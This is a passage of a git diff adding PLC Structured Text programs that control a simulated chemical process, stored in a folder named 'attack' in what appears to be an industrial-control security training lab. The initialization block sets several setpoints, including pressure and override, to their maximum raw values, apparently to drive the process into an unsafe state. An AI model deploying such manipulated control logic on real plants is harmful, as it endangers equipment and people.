: scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + 